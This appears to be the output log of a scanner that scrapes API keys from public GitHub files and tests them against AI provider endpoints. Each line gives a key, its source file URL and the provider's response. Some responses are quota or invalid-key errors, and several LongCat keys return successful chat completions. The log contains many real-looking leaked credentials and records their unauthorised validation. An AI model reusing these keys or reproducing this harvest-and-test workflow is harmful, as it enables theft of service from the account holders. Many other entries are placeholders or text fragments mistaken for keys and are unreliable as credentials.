OllamaCloud|3c59fcbdf15b4c02b64e93a544add018.4gypXlrDEbnV4gtneL7jCoB4|https://github.com/lucentarbor-ctrl/lucentarbor/blob/e2f7848dadfaf4be8aedcd5e6221398749c918b0/public/js/ollama-cloud-api.js|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|6bab7f40e8ca4da0b9abc72a66fa6c12.tCjESJRFOnDALtZ3U8W88Dkp|https://github.com/OrekhovD/Wored/blob/3a684fb972be6e4d1e75a0f9ee38e42347daafce/hermes_config_new.yaml|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|d190bb1923b7495a815748cfc92a468f.Y1kyHCAwO0ZwHM3wQxyErqx5|https://github.com/TheSamsAlif/Medify-PRO/blob/c69a7e9153d58437d715cdddc1c8e09755c604f7/src/app/api/chat/route.ts|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|ca88d2e3f0ad43e2b083d8b59bde5d0e.LLerUGP4WsPtXkHtkKcYI2Ut|https://github.com/aline12marcolino-ops/CHATBOT-GOODWE/blob/0dcd868c32434401aff75da14544b6140afb58ca/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|bef1758095114d51be25ebb2d88679f8.BG34PpG7Eze4l82zNuWPA9Vy|https://github.com/vikram11/wellnesslogin/blob/47a688d4d9db6184a6636cd2a8849072d07af56d/nextjs_space/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|e71c42f8cbe24bb6afde747d0a70e692.AJv2tQuixzTaJpXyf13cIJv6|https://github.com/NaphatPound/video-edit-gemma-4/blob/75fe1205a0009e1182921eb17da57164ca1257c5/server.js|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|f63cbbfb00be41b18716e833b7de48fe.peVlPZuPfxbKUyxQbx8Hz174|https://github.com/romil569/langchain-chatbot/blob/e6aba57db1d29a43854147514c4729fd0ab83027/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|de8a60bfd3c34822bd539d79ffcdfc55.mWP4hxIqtHbi8MzMUOh00W19|https://github.com/BhuvanChaithanya/Log_Triaging_Application/blob/6aa7a7c2e2821e5c449d8c57a3fdd34418eee02b/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|f6a763daaa0546cea30cfdb4ff9bb474.LKi0Qyrj14T0U7mvye2Ad9Ir|https://github.com/harvestwalukow/challenge_ai_eng/blob/0931c2577afcc0add062e36fab1ea413e0a9cd5b/challenge_ai_eng.ipynb|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|f7a7e85a685a4f56a305b14fb9453f95.ajkPLla9MCXNNoTGfDtmrTIk|https://github.com/OG-Huzzi/Excel-V2/blob/8270426a8f61c6dabd5e0f0985fb9258d90f3ae4/sources/excel-mcp-server-main/excel-mcp-server-main/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
@@ -0,0 +1,22 @@
LongCat|ak_1Ea5cx4AQ2Nu67s39u0YL4Hh6WK3W|https://github.com/tinkooopro/OrbitX-Bot/blob/e6c6b9403c982375c14d71f0954e834f0e4cfccb/index.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1nC4zp1Di6589AU02N98x5l30EU8w|https://github.com/mingchen666/Reviva/blob/4b173470a02cfb986311d368841d90557c633765/test/1.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1H91k98qz9gB74R3m60Fd3OU7F72Y|https://github.com/m4Fagundes/ES-II/blob/9f55c590d1b22258e2ebf5d247c540c1ba30178e/api/routers/chatbot.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1TN7xS99s7dV4Ao95q3fN06G2Av7X|https://github.com/AyanArjumand/Task-Management-App/blob/70e229f72b3964e0cad069acefdb29fa5a52d05b/server/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1pB1di1eE5a90uq6Yu2Z62qG3xw2P|https://github.com/mytahir/SaudiCitiesAI/blob/92b4c21094f49fd65983fe306f210995e55216c1/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1E08gJ7Z913j3sq1ml7Bn5vX2hd2O|https://github.com/qztsix5/Big-Data-Project/blob/8cdb0c4fe376b2bbe7f89815a5798198e5383836/swar_v5.0.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1F64Tk32N0oN4KD2Dq4h66KU43J6l|https://github.com/LOLOLTheFatFish/Reading-oriented-vocabulary-learning/blob/f3def78caa7c224efd7917e8926ae0a68da0d81f/card-maker/config.yaml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1Tj8qt04I0Jn6sD3wU4oI3fw73r46|https://github.com/qztsix5/Big-Data-Project/blob/8cdb0c4fe376b2bbe7f89815a5798198e5383836/swar_v5.0.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1of7ym6Ts7p77kC9dJ3Bn3j87t96K|https://github.com/a-boy/play/blob/6d3d9f75468b97f3dee5d762af8124b26f8f402a/LongCat/chat.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_1va1PS0eu76S72B2vX8DV29f1FW9w|https://github.com/threebigerthantwoalways/AuttaNative/blob/cb27385e11d68ddd6ce86805f5a21ff0ce8c2147/scan/rag_code_scan.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2Nm46W1o70Cu9IK4PQ4114cY2KB4G|https://github.com/Yuuqq/PulseRadar/blob/231bc01f9e5d97bd6564b54b15a509d4c8379392/config/config.yaml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2Ls5D22jV6fT57w9bp0Ql1C61Ue4G|https://github.com/hdd-2003/dream/blob/b4d41dc45abae3c41420323faa26bfd3699e1756/src/config/api.ts|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2Nu3Zp7IO0fa5M01Aa3xq6F66uh0k|https://github.com/Someone-LikeU/JanvisAgent/blob/0064e4e67d290f26a98296b7cccfef518c511c4f/JanvisAgent/2.Memory/test_agent.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2RN5Ru3A130c6rr0Pf3MC7so2Vh5q|https://github.com/varun-thota27/Notes-Automation-QA/blob/7c61937033c78e40f3020d893bbd5d7446d8eb7c/config/ai_config.json|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2b45eX3PQ1eQ7wh4Uz3jB3vd2Xr4E|https://github.com/honey3031/Note-_automation/blob/e220acd186482f0dc1f265f6ade10030dcb9d8c3/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2h56uP57o7PT24R0Zk4Qa4x06zX78|https://github.com/JawadSaghir/Langgraph/blob/451a0d106b16e2b72ccacb96ff9f7cca85dfdb33/src/router/router.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
Zyloo|sk-zy-2bd9407fd18512a198b3ee8ef74a895392f4456b142feadb|https://github.com/rushikeshgoud19/MY-AI/blob/d1052bbe409aba90101550c3a7f70b96f0e31720/tests/root_scripts/test_zyloo.py|[zyloo/claude-opus-4-7] chat=402: {"error":{"message":"Insufficient credit. Add funds at zyloo.io/dashboard/billing.","type":"insufficient_quota","code":"insufficient_quota",
LongCat|ak_2nN6YE1g754j6vF7vy83W5Jc0nR7j|https://github.com/zhiqi168/novaleap-v2/blob/0f874891ea9a006a82781501354e4f9fbb7107a6/nova-backend/src/main/resources/application-dev.yml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2rU2Ai02G5b04d594p8Vp6Ip5RA0s|https://github.com/892848153/ai-web-platform/blob/0955534cc1f58b83375a04c4f296aecec4cf2f97/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
Zyloo|sk-zy-0a1ad246ec0759181208f467e4981a97b37a8d5e75fb8cb4|https://github.com/rushikeshgoud19/MY-AI/blob/d1052bbe409aba90101550c3a7f70b96f0e31720/tests/root_scripts/test_zyloo.py|[zyloo/claude-opus-4-7] chat=402: {"error":{"message":"Insufficient credit. Add funds at zyloo.io/dashboard/billing.","type":"insufficient_quota","code":"insufficient_quota",
LongCat|ak_2wz4Vq3QO2Qc38J6SL5TD1Zv4NH8J|https://github.com/kaikaiyang117/HelloAgent/blob/fd6c32406225bd490de40cfa37ce33d42ca912cd/main.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
LongCat|ak_2t79F73KI00S1hT4JZ51G9Fg7ut37|https://github.com/AyGemuy/api-wudysoft/blob/8b30e1da26542d5b0365a304570e0df607d1a633/pages/api/ai/longcat.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
Whitespace-only changes.
@@ -0,0 +1,7 @@
LongCat|ak_20W6R568F1iC44y6gu02v0uq8I54Q|https://github.com/RyouLmusic/raye/blob/183f0c8c4825f7d54d31c06b26646eb902bd211a/packges/core/src/agent/agent.json|[LongCat-2.0] chat 200 {"id":"7b0453edc6b04c4ca5b8119503c2873a","object":"chat.completion","created":1785594662,"model":"Lo
LongCat|ak_2Hc0O155H6Od00r96556Y3Fh3nL0c|https://github.com/liaoliangan/SmartHome-for-ESP32-S3/blob/def0fe80ba015886a23266a8460148e3a2260d6e/.claude/settings.local.json|[LongCat-2.0] chat 200 {"id":"a78652fd29904ae5a91f9efadb616068","object":"chat.completion","created":1785594662,"model":"Lo
LongCat|ak_2Yq9UX5WH3Lz7wt1s68U15MB0AE2m|https://github.com/Jvzima/long-running-coding-agent/blob/c38baae76603f9527068362c35dda3c73eec9fd6/config.py|[LongCat-2.0] chat 200 {"id":"27df7dce8b8745ca9fb662de6ab9fe92","object":"chat.completion","created":1785594662,"model":"Lo
LongCat|ak_2lj9rz9WX5L58OJ0BY7Ch7zq5Xb33|https://github.com/notvalid0/ShitCode-BUPT/blob/88efae7ffc98365328d6af74e75039434cc10949/SCS/NLTools/config.json|[LongCat-2.0] chat 200 {"id":"ef7e2c398de245b5b7ab522a024625b9","object":"chat.completion","created":1785594662,"model":"Lo
LongCat|ak_2Fw1hL0xA8H33yj1wn4pW8ag0w84y|https://github.com/JingW-ui/PI-MAPP/blob/9797c4fbaaec46e77d0cb974aee1dee16434de01/project/Fucking_jobs/utls/use_LLM.py|[LongCat-2.0] chat 200 {"id":"eb23529d527546cb8cfe9d3ad88b88fa","object":"chat.completion","created":1785594663,"model":"Lo
LongCat|ak_2dV0dh97x2jc6Ip8hX6gu6WB1IJ90|https://github.com/ShineBreaker/Guix-configs/blob/5c155870479ed49768dddb217f51abd77af643b0/dotfiles/mutable/hermes/.local/share/hermes/config.yaml|[LongCat-2.0] chat 200 {"id":"1c472a03f2114a6da51c10a1172155b1","object":"chat.completion","created":1785594663,"model":"Lo
LongCat|ak_2yp3Xw1Ny7ky2pF7er9x93ZO9jj6G|https://github.com/blackeagle686/giyu-agent/blob/8375b86c7374b2a33c6722847b289ee03e84c67a/.env|[LongCat-2.0] chat 200 {"id":"415ae5a7193e46948bf951ce384a2836","object":"chat.completion","created":1785594664,"model":"Lo
Whitespace-only changes.
@@ -0,0 +1,18 @@
sk-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025|https://github.com/sattyamjjain/agent-airlock/blob/b1f5d7d600071553b60ed039d28d541da7d94d95/CHANGELOG.md|all models failed/404
sk-ant-fake-key-for-seed-data|https://github.com/faremeter/interchange/blob/e3b7f5a1ce8f2c50424fce44cd4b23e7f75f4d9c/bin/seed.ts|all models failed/404
sk-YKIsf5FHQhY3NdQW9f6944Dd2d5742049d7cDb398e66B862|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
sk-7B4k9bjiYPIkawKQaPWNw7eqnt8oWtJUoKKJutYJWsKK8atJ|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
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|https://github.com/karthikeya-jammula/Pharma-Dash/blob/46591a150e989d6c30c1bbca2374a0d1c7744976/README_COMPREHENSIVE.md|all models failed/404
sk-tPphc4JsztVS3EnOSFYcTMEu4VTD5lS8iqFBTqS2gOTkNuwG|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
sk--risk-register-and-intelligence|https://github.com/antnewman/pda-platform/blob/defd859819680f4bbc6341ae01a2b6e131a02d5d/docs/mcp-tools-reference.md|all models failed/404
sk-secret-should-not-appear|https://github.com/stormlightlabs/thunderus/blob/1935404d0967f5ab5e5b7b3f0bd0edf798323de3/crates/thndrs/src/cli/app/tests/slash.rs|all models failed/404
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|https://github.com/milas-melt/bio_ai_hack_backend/blob/268a1ae833bde0e08ba36bd99970396f30f36737/pubmed_rag.py|all models failed/404
sk-ant-api03-YOUR_CLAUDE_API_KEY_HERE|https://github.com/sureSundar/STEPPPS/blob/d8d0229a6d334e3e711bb1a03c1af0b439e0fea9/GROK/evolution_genesis.py|all models failed/404
sk-13-configure-the-system-1-reflex-arc-instincts|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|all models failed/404
sk-a3ab3c080beaee3a-69f4a4-070d71af|https://github.com/aj-omanai/1st/blob/6eea4894299d5371c00c11f1f6dec2f7c0076253/omniroute/docs/i18n/zh-CN/docs/reference/CLI-TOOLS.md|all models failed/404
sk-or-v1-d41d8cd98f00b204e9800998ecf8427e|https://github.com/woodsai69rme/openrouter-ai-ecosystem/blob/5fa8e930fe3b7089fac0735b81fc29e0beeec398/hackrf_enhanced_ultimate.py|all models failed/404
sk-8--pwsh--argument-gotcha--progress-streaming-2026-07-19-same-session|https://github.com/katasec/mission-control-language/blob/461228bbcce69e9f1776d6099b01b3c25b80492d/docs/plan.md|all models failed/404
sk-42-implement-the-sleep-consolidation-cycle|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|all models failed/404
sk-2260a89c01b6424a9f5c0fc47dfdd790|https://github.com/hrafael2011/general-medical-services/blob/b2f17e9712863be4970a0ac99e43e2a85c14da83/docs/security/owasp-asi-compliance-report-2026-06-11.md|all models failed/404
sk-dev-api-key-securenet-default|https://github.com/Pmvita/SecureNet/blob/3fb60dd4b9040d2b8f3b396698d231994324b4cd/docs/project/PROJECT-SUMMARY.md|all models failed/404
sk-Monitoring-with-Databricks|https://github.com/cnero101/Real-Time-Pipeline-Risk-Monitoring-with-Databricks/blob/564b2a3870e60e349f8692af45a881c5fe4c8633/README.md|all models failed/404
Whitespace-only changes.
@@ -0,0 +1,7 @@
sk-of-material-misstatement|https://github.com/kalimbiya-derick/Financial-Data-Analytics-Project-using-Python/blob/cc18015f02379b12117cdd072f3e66510eaccbdb/README.md|net SSLError: [SSL: SSLV3_ALERT_BAD_RECORD_MAC] sslv3 alert bad record mac (_ssl.c:2546)
sk-Be86e11ZdWdO0IHOGr4cLVutkROL6xpwRBPoEEViVLU20SzA|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|net RemoteDisconnected: Remote end closed connection without response
sk-litellm-DEACTIVATED-2026-06|https://github.com/gustavofullstack/Cartorio/blob/d5427b42ff998005fdef12b9b5a8f764033eeca7/.env.example|net TimeoutError: The read operation timed out
sk-your_opencode_go_key_here|https://github.com/vermarjun/Chad/blob/63105f2d00c45458f6b4c547d7aab987911d78f4/docs/OPENCODE_GO_DEEPSEEK_V4_HANDOFF.md|net RemoteDisconnected: Remote end closed connection without response
sk-52-map-endocrine-hooks-to-system-directives|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|net RemoteDisconnected: Remote end closed connection without response
sk-12-implement-interoception-via-ebpf-homeostasis|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|net TimeoutError: The read operation timed out
sk-proj-iQtcgUJOOf4n53Bs6uyqT3BlbkFJnEIqUeEwXjbjVMcDVqiz|https://github.com/UC-Berkeley-I-School/gabblegrid-mini/blob/fa8600dd8f714558d1d442345e38fc310318b8d2/26.20240921_Inference_and_Deployment/01.Dev/GOLD/20240719_GOLD_streamlit_app_CHATGPT_async_left_bar_v1.70_GOLD.py|net RemoteDisconnected: Remote end closed connection without response
Whitespace-only changes.
@@ -0,0 +1,19 @@
sk-stabilityA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-ptyrqcoakodsijdqglxbzucezfvdmdolzxxfafdpozixljdr|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-notEnoughContextA1b2C3d4E5f6G7h8|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-cp-hPtVrPJunuCzZK5UmKX2etTTgJE_Lz3iy1zVuK0dk0n8nRGBAneasJF_-4jZ4ZkLzlqw62O0FMhc75UvyuY7oAuheYmMSodaPmAeROQIzTH97BOdfV3ociE|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-kimi-xA8Rg5wMzVEcwXQILlJswwQXq5p7r51ZGVya2thvKQmZF0fAxaH2f6jwDOEJwGnY|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-language-understanding-on-mmlu|https://github.com/ConardLi/easy-learn-ai/blob/e6c189aee507d0ba1170d885b296cc2702e8bcff/data/nav/sites.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-dummy-key-for-local-endpoint|https://github.com/OpenSQZ/Jailbreak-Foundry/blob/f1526942fb1c42aa3ba076b02c414c0465eb3ae5/src/jbfoundry/llm/litellm.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
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|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-f73a42bc3f1643b69059757101005d0d|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-or-A1b2C3d4E5f6G7h8I9j0K1l2|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-2909a8954b604f7c847c6d664c912fe6|https://github.com/hey-sm/buildYp/blob/f53a5e6719cdc12dbaac0b1e3f3b25c7ef62997f/src/renderer/src/store/migrate.ts|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-kimi-ZLtO5HpArs0IH4sCzc8qwtOb8vRvvTKNxDvs5MmxugGQtkCAoReOqPpVuTicPdRf|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-proxyA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-36de33a3827f43398ed027e733dbd74a|https://github.com/Affordan/aigo/blob/9040947491ed172c04803bf9d260e7f5086afae8/scripts/DeepSeekPromptGenerator.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-c8c5cc28a0bdc06b1de7de952f9bb3e05df74b5a40d1737c7bbe3d3f90f2f789|https://github.com/xuw/infiniproxy/blob/d20a962c26a7195777e03d9bdef86d136cc49ad3/.claude/settings.local.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-siliconA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
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|https://github.com/ChimerAI-SZ/creamoda_be_new/blob/7a24f079c788edc48f36df854925f7779fb6b92b/config.createprod.yaml|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-deepseekA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
sk-nMe5PVXTbWiJ9bdYSDx8GPHxF4HySPQ9dhUEaHeTYl3OAiJU|https://github.com/tangerdream/homework-review-skill/blob/98b67865cc2fa51c0a8ef26ab4e08f5d4a723907/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,6 @@
sk-why-anthropic-study-finds|https://github.com/ilhukjung-cloud/ai-daily-clipping/blob/e33c9bc4e29c47d7bcdb8ea3e89f0bc2399da297/output/2026-07-27.json|net URLError: <urlopen error [Errno -2] Name or service not known>
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|https://github.com/zyrf-cl/agent-modescooperation/blob/60488886ad03fda795108c8d8445f85644e7310a/ai_collaboration/config/users.json|net URLError: <urlopen error [Errno -2] Name or service not known>
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|https://github.com/GeekSomesh/LexiLearn/blob/bbd1bd87a5e2cf3613248b457ddc029eda5e9e85/src/components/SummarizerPage.tsx|net URLError: <urlopen error [Errno -2] Name or service not known>
sk-e834w7r3sm1e40lagworqazxu2q4zcvzkaqsko775vku1fl7|https://github.com/Delqhi-Projects/ZOE-Solar-Accounting-OCR/blob/6c8531b20677845b328d4361e60f24deca0855f2/.claude/global.env|net URLError: <urlopen error [Errno -2] Name or service not known>
sk-hynix-samsung-to-boost-memory-output-in-us|https://github.com/specialpointcentral/ai-daily-rss-reader/blob/5915b70d7007bb82de2fe3dc6c1c8de3749f63e3/public/rss.xml|net URLError: <urlopen error [Errno -2] Name or service not known>
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|https://github.com/zyrf-cl/agent-modescooperation/blob/60488886ad03fda795108c8d8445f85644e7310a/ai_collaboration/config/users.json|net URLError: <urlopen error [Errno -2] Name or service not known>
Whitespace-only changes.
@@ -0,0 +1,287 @@
sk-ds-3jPlkHskOlO8asR9AkjsSJdkOsa9|https://github.com/yangxinchnx-wq/SoloForge/blob/d88c4c431b9b4f8afc73120c4429e214886093aa/UI/src/components/settingsTabs/ModelAddTab.tsx|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-project-should-not-override-home|https://github.com/raycast/extensions/blob/3b0c72bb82ddef684eeeb9a5d69cb278eecf3efe/extensions/ai-voice-studio/scripts/verify-provider-env.mjs|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-ant-api03-yyyyyyyyyyyyyyyy|https://github.com/BenedictKing/ccx/blob/ebe33699466c4c93f605d8b16e5eb0567c127bd5/desktop/frontend/src/locales/en.json|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-hangs-session-prompt-timed-out-after-300000ms-json-rpc-error-32603|https://github.com/sleep2agi/agent-network/blob/07220b6cab4a40d52b1b2997ec71316dce42388f/docs-site/docs/en/changelog.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
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|https://github.com/PaRr0tBoY/Awesome-Vivaldi/blob/fc8de150c1df90847db45db5077fed1257c5261a/Vivaldi8.0Stable/Javascripts/TidyDownloads.js|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-kimi-omAuYzLuXO4oSY1vWdRvJcOA58BewQSHGgNerDfsdfpFpaCMr089gG9LyudGAieH|https://github.com/openocta/openocta/blob/243d6b9e4d5dd9fab56852ae3826f69c2aebdc1e/docs/model-providers.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-proj-4jKls9XjLk9AsDFgHJKLaSDFgHJK|https://github.com/yangxinchnx-wq/SoloForge/blob/d88c4c431b9b4f8afc73120c4429e214886093aa/UI/src/components/settingsTabs/ModelAddTab.tsx|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-proxy-local-replace-with-48-char-hex|https://github.com/wujfeng712-ui/codex-bridge/blob/81754d9a515643a60e77ce921d5cd2d1ceda4078/env.example|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-ant-api00-something-something|https://github.com/laszukdawid/terminal-agent/blob/2d25c86096e3b1b546c4731eb2e764e0e305579a/README.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-94c291588a8b4e8889e0ba8fe2016152|https://github.com/WYZlalalaugh/magentic-agent/blob/fd8b58976dd7b8089ac05e1aef36355ba2cfed65/config.yaml|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-ledger-outcome-verifier-rfc|https://github.com/SuperdeMan/cockpit-agent/blob/ec3ddbc9c5f67b05ed2baa9cfb8165eb35d30d66/docs/conventions.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
